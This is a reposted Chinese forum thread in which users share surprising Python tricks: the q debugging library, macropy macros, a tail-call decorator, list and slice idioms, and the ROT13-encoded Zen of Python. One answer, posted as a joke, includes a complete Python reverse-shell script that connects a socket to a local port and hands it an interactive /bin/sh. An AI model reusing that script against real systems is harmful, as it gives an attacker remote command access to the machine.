欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  后端开发

你见过哪些令你瞠目结舌的 Python 代码技巧?

程序员文章站 2022-04-24 19:46:37
...
基友问题
你见过哪些让你瞠目结舌的JAVA代码技巧? - Java
你见过哪些令你瞠目结舌的C/C++代码技巧? - 互联网
你见过哪些令你瞠目结舌的前端设计? - 程序员
你见过哪些令你瞠目结舌的Javascript代码机技巧? - 程序员
你见过哪些令你瞠目结舌的爬虫技巧? - 计算机

神经问题,非程序员欢迎一起来回答
你见过哪些令你瞠目结舌的神逻辑? - 生活
你见过哪些令你瞠目结舌的黑料理?
你见过哪些令你瞠目结舌的逗逼?
还有更多的,欢迎大家一起系列

回复内容:

当初看到这个还是觉得蛮瞠目结舌的:pypi.python.org/pypi/q
Quick-and-dirty debugging output for tired programmers
正如介绍所说的,Quick-and-dirty,QUICK-and-DIRTY。第一眼看起来,只是觉得这个很方便啊,可是仔细想想怎么实现,真是。。。全是黑科技。。。

Q 的最简单用法,打印 foo 的值:
import q; q(foo)
让我觉得瞠目结舌的要数这个Python库了,真是将import hook用到了极致:
lihaoyi/macropy · GitHub

你问我这个有什么屌的?
来来来,看几个例子:

更好用的lambda表达式
from macropy.quick_lambda import macros, f, _

print map(f[_ + 1], [1, 2, 3])    # [2, 3, 4]
print reduce(f[_ * _], [1, 2, 3]) # 6
我记得当初研究python对递归支持有多烂的时候搜到过有人通过装饰器用一种很hack的手法,把尾递归的帧清了。然而现在还是看不懂它写的是什么鬼。
code:
import sys  
  
class TailRecurseException:  
  def __init__(self, args, kwargs):  
    self.args = args  
    self.kwargs = kwargs  
  
def tail_call_optimized(g):  
  """  
  This function decorates a function with tail call  
  optimization. It does this by throwing an exception  
  if it is it's own grandparent, and catching such  
  exceptions to fake the tail call optimization.  
    
  This function fails if the decorated  
  function recurses in a non-tail context.  
  """  
  def func(*args, **kwargs):  
    f = sys._getframe()  
    if f.f_back and f.f_back.f_back and f.f_back.f_back.f_code == f.f_code:  
      raise TailRecurseException(args, kwargs)  
    else:  
      while 1:  
        try:  
          return g(*args, **kwargs)  
        except TailRecurseException, e:  
          args = e.args  
          kwargs = e.kwargs  
  func.__doc__ = g.__doc__  
  return func
谢邀,我今天无耻一回
Dwarfartisan/pyparsec · GitHub

不许打!打也不许打脸! 先让我反弹个shell冷静一下
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",12345))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
之前在GitHub看到有人总结了一些python的tricks
brennerm/PyTricks · GitHub >>> a = [],
>>> a
([],) >>> a = [[1,2],[3,4],[5,6]]
>>> sum(a,[])
[1, 2, 3, 4, 5, 6]

Python 真的好神奇 : )
再补充一个,Python切片:
>>> l = [1,2,3]
>>> l[1:1] = 'a'
>>> l
[1, 'a', 2, 3]

Python分组list:
>>> a = [1, 2, 3, 4, 5, 6]
>>> zip(*([iter(a)] * 2))
[(1, 2), (3, 4), (5, 6)] 前几年刚学python的时候在一个项目里做了几个小尝试。

用元编程动态生成类,生成以后动态加载卸载。

把类当函数用。把函数当变量用。

花样玩容器。

顺手把其他几种EE工程师们写出来的五花八门的脚本包装了一个整整齐齐。

注释齐全,结构简明。不是性能瓶颈,所以性能不在考虑范围内。

结果被“资深工程师”骂成了狗,苦逼地回到了C++。其实只是他没有用过C++以外的任何一种语言,他的逻辑是C++是所有语言的基础,他看不懂的代码就不是好代码。 →_→下面这段居然特么混进了标准库里,令我瞠目结舌
s = """Gur Mra bs Clguba, ol Gvz Crgref

Ornhgvshy vf orggre guna htyl.
Rkcyvpvg vf orggre guna vzcyvpvg.
Fvzcyr vf orggre guna pbzcyrk.
Pbzcyrk vf orggre guna pbzcyvpngrq.
Syng vf orggre guna arfgrq.
Fcnefr vf orggre guna qrafr.
Ernqnovyvgl pbhagf.
Fcrpvny pnfrf nera'g fcrpvny rabhtu gb oernx gur ehyrf.
Nygubhtu cenpgvpnyvgl orngf chevgl.
Reebef fubhyq arire cnff fvyragyl.
Hayrff rkcyvpvgyl fvyraprq.
Va gur snpr bs nzovthvgl, ershfr gur grzcgngvba gb thrff.
Gurer fubhyq or bar-- naq cersrenoyl bayl bar --boivbhf jnl gb qb vg.
Nygubhtu gung jnl znl abg or boivbhf ng svefg hayrff lbh'er Qhgpu.
Abj vf orggre guna arire.
Nygubhtu arire vf bsgra orggre guna *evtug* abj.
Vs gur vzcyrzragngvba vf uneq gb rkcynva, vg'f n onq vqrn.
Vs gur vzcyrzragngvba vf rnfl gb rkcynva, vg znl or n tbbq vqrn.
Anzrfcnprf ner bar ubaxvat terng vqrn -- yrg'f qb zber bs gubfr!"""

d = {}
for c in (65, 97):
    for i in range(26):
        d[chr(i+c)] = chr((i+13) % 26 + c)

print "".join([d.get(c, c) for c in s])
你见过哪些令你瞠目结舌的 Python 代码技巧?

声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn核实处理。

相关文章

相关视频


网友评论

文明上网理性发言,请遵守 新闻评论服务协议

我要评论
  • 你见过哪些令你瞠目结舌的 Python 代码技巧?
  • 专题推荐

    作者信息
    你见过哪些令你瞠目结舌的 Python 代码技巧?

    认证0级讲师

    推荐视频教程
  • 你见过哪些令你瞠目结舌的 Python 代码技巧?javascript初级视频教程
  • 你见过哪些令你瞠目结舌的 Python 代码技巧?jquery 基础视频教程
  • 视频教程分类
    相关标签: JAVA Javascript